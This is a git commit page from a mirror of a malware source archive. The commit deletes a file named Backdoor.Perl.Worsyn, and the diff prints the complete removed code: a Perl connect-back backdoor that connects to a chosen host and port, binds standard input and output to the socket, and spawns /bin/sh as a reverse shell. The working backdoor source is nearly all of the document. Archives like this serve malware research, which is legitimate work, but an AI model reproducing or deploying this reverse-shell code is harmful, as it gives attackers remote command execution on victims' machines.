mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-24 04:15:26 +00:00
Delete Backdoor.Perl.Worsyn
na
This commit is contained in:
parent
9f473f5437
commit
2d235c0886
@ -1,45 +0,0 @@
|
||||
|
||||
use Socket;
|
||||
|
||||
print "Data Cha0s Connect Back Backdoor\n\n";
|
||||
|
||||
if (!$ARGV[0]) {
|
||||
printf "Usage: $0 [Host] <Port>\n";
|
||||
exit(1);
|
||||
}
|
||||
|
||||
print "[*] Dumping Arguments\n";
|
||||
|
||||
$host = $ARGV[0];
|
||||
$port = 80;
|
||||
|
||||
if ($ARGV[1]) {
|
||||
$port = $ARGV[1];
|
||||
}
|
||||
|
||||
print "[*] Connecting...\n";
|
||||
|
||||
$proto = getprotobyname('tcp') || die("[-] Unknown Protocol\n");
|
||||
|
||||
socket(SERVER, PF_INET, SOCK_STREAM, $proto) || die ("[-] Socket Error\n");
|
||||
|
||||
my $target = inet_aton($host);
|
||||
|
||||
if (!connect(SERVER, pack "SnA4x8", 2, $port, $target)) {
|
||||
die("[-] Unable to Connect\n");
|
||||
}
|
||||
|
||||
print "[*] Spawning Shell\n";
|
||||
|
||||
if (!fork( )) {
|
||||
open(STDIN,">&SERVER");
|
||||
open(STDOUT,">&SERVER");
|
||||
open(STDERR,">&SERVER");
|
||||
|
||||
exec {'/bin/sh'} '-bash' . "\0" x 4;
|
||||
exit(0);
|
||||
}
|
||||
|
||||
print "[*] Detached\n\n";
|
||||
|
||||
|
Loading…
Reference in New Issue
Block a user